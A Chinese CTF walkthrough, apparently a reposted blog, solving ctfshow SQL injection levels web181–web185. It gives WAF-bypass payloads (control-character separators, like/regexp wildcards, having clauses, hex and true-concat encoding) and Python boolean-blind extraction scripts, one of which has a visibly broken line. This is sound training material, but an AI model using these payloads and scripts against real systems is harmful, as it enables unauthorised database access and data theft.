ctfshow-web入门-sql注入(web181-web185)
目录1、web181
2、web182
3、web183
4、web184
5、web185
1、web181
https://i-blog.csdnimg.cn/direct/c0b648e5f3ac434abb4e85553cfb5958.png
过滤字符:
(1)空白字符:空格 ( )、水平制表符 (\x09)、换行符 (\x0a)、垂直制表符 (\x0b)、换页符 (\x0c)、空字符 (\x00)、回车符 (\x0d)、不换行空格 (\xa0)
(2)符号:星号 (*)、井号 (#)
(3)关键词(不区分大小写):file、into、select
现实测试 %0c 照旧可以用:
1'--%0c https://i-blog.csdnimg.cn/direct/b66c5d035e0e49b6a3a689847d1fc257.png
采用万能密码:
1'||1--%0c https://i-blog.csdnimg.cn/direct/9aeda911cbcf499a96a3148e2056d635.png
拿到 flag:ctfshow{bef90a74-9ae2-4c76-8111-0ea0406f120b}
显示 username 为 flag 的行也可以:
0'||username='flag https://i-blog.csdnimg.cn/direct/bbc2bfd58cea4549a12d356c21777ce9.png
2、web182
https://i-blog.csdnimg.cn/direct/9e8ef62cbe3a47c68f221e33a3865b15.png
新增关键字 flag 的过滤,用 %0c :
1'||1--%0c https://i-blog.csdnimg.cn/direct/5b0e278f76904b91a052217af83831bd.png
拿到 flag:ctfshow{ee8c935f-360a-47c2-99aa-0238ee9c0289}
此外,用 %01 到 %08 都可以:
1'||1--%01 https://i-blog.csdnimg.cn/direct/c43a760c19b84079843a7e7b9831229a.png
还可以用 like 联合 % 举行通配绕过:
0'||%0cusername%0clike'f% % 可以匹配任何数目标字符,类似于前面我们用过的通配符 *
https://i-blog.csdnimg.cn/direct/bc6718086d3e4e02b0791c0aba89f93e.png
而 _ 可以匹配单个字符:
0'||%0cusername%0clike'f___ https://i-blog.csdnimg.cn/direct/76869a6ecf2b44a3965da7d1d150290f.png
3、web183
https://i-blog.csdnimg.cn/direct/4efd8b37e03049a2a11af57b22426119.png
post 提交一个 tableName 参数举行查询,推测表名照旧 ctfshow_user:
tableName=ctfshow_user 可以看到一共有 22 条记录
https://i-blog.csdnimg.cn/direct/52ed84b87b9c4ddca865da5500509113.png
单独查 flag 的这条数据:空格过滤了用括号取代
tableName=(ctfshow_user)where(pass)like'ctfshow{%' 回显 1
https://i-blog.csdnimg.cn/direct/857df6cc88d6488a997890f8d47eaae9.png
查询失败或者查一条不存在的记录:
tableName=(ctfshow_user)where(pass)like'test' 回显 0
https://i-blog.csdnimg.cn/direct/295bb08e8dbd4b13b58b00b59e425bc9.png
很典型布尔盲注的特性
我们可以不停往 flag 后面新增字符举行猜解,比如下面先推测 flag 的前五个字符为 ctfsh ,后面是通配任意数目字符,回显是 1 ,说明我们推测精确了。
tableName=(ctfshow_user)where(pass)like'ctfsh%' https://i-blog.csdnimg.cn/direct/091222498f274cef9b17886206bf0549.png
其实我们知道的部分为:ctfshow{
因此我们在此基础上继续往后面推测:
附上勇师傅自己写的 python 脚本,虽然就这么一个短短的简朴脚本,我真的调试了很久。。。
所以,好勤学编程吧。
import requests
import string
url = 'http://abc922e7-01ed-4d9a-85a1-4f67a3ff5f32.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'# flag可能的字符
# print(dic)
out = 'ctfshow{'# 已经确定的部分
for j in range(0, 50):# 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}# 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break# 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out) https://i-blog.csdnimg.cn/direct/d3b8a0f167df4cadaa6c474fcb13a770.png
拿到 flag:ctfshow{3f02d61c-3941-4a3f-8607-9abd3a6519f3}
4、web184
新增过滤掉了 where ,使用 having 取代:
having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接举行的筛选的,如果已经筛选出了某个字段,这种情况下 having 和 where 等效,但是如果没有 select 某个字段,后面直接 having 这个字段,就会报错。
select goods_price,goods_name from sw_goods where goods_price > 100
与
select goods_price,goods_name from sw_goods having goods_price > 100
等效 但是
select goods_name,goods_number from sw_goods where goods_price > 100
正常
select goods_name,goods_number from sw_goods having goods_price > 100
报错,因为前面并没有筛选出 goods_price 字段 https://i-blog.csdnimg.cn/direct/ef7f4dd486244da0ae5b20298c1dee70.png
过滤了引号,使用十六进制绕过
https://i-blog.csdnimg.cn/direct/9c11cfdc48d94ec4bc17a5af2bd27542.png
这里没有过滤空格
tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25 回显成功
https://i-blog.csdnimg.cn/direct/d3e57d42b2d7471f8aa4755c6f7bc728.png
对前面的脚本举行修改:
import requests
import string
url = 'http://edb25716-636e-4234-bea4-4d0d6eccae00.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'# flag可能的字符
dic = # 将字符转为十六进制格式
# print(dic)
out = '0x63746673686f777b'# 已经确定的部分
for j in range(0, 50):# 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
# print(k)
# payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}# 将每次更新后的out加上我们新增的一个猜测字符添加到payload
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break# 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out) https://i-blog.csdnimg.cn/direct/2c1f11804e7c42a7be033ba9f41499f0.png
得到:0x63746673686f777b37313064383239362d363661612d343335622d623364392d3137616539643639393162337d
将十六进制转为字符串
https://i-blog.csdnimg.cn/direct/34b67ff1e51749e0aee29158cdf0814f.png
拿到 flag:ctfshow{710d8296-66aa-435b-b3d9-17ae9d6991b3}
5、web185
过滤掉了数字
https://i-blog.csdnimg.cn/direct/c596d4b143af43e0be987e423aa15da0.png
可以使用 true 联合 concat 拼接出数字
https://i-blog.csdnimg.cn/direct/2ff81b22fe8d470cb28c704386b22853.png
附上 yu 师傅的脚本:
#author:yu22x
import requests
import string
url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1"in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break https://i-blog.csdnimg.cn/direct/18829af2f44b4ed9be551a411e134fef.png
拿到 flag:ctfshow{11e04c1b-6151-4696-81bf-8dba64323cfb}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]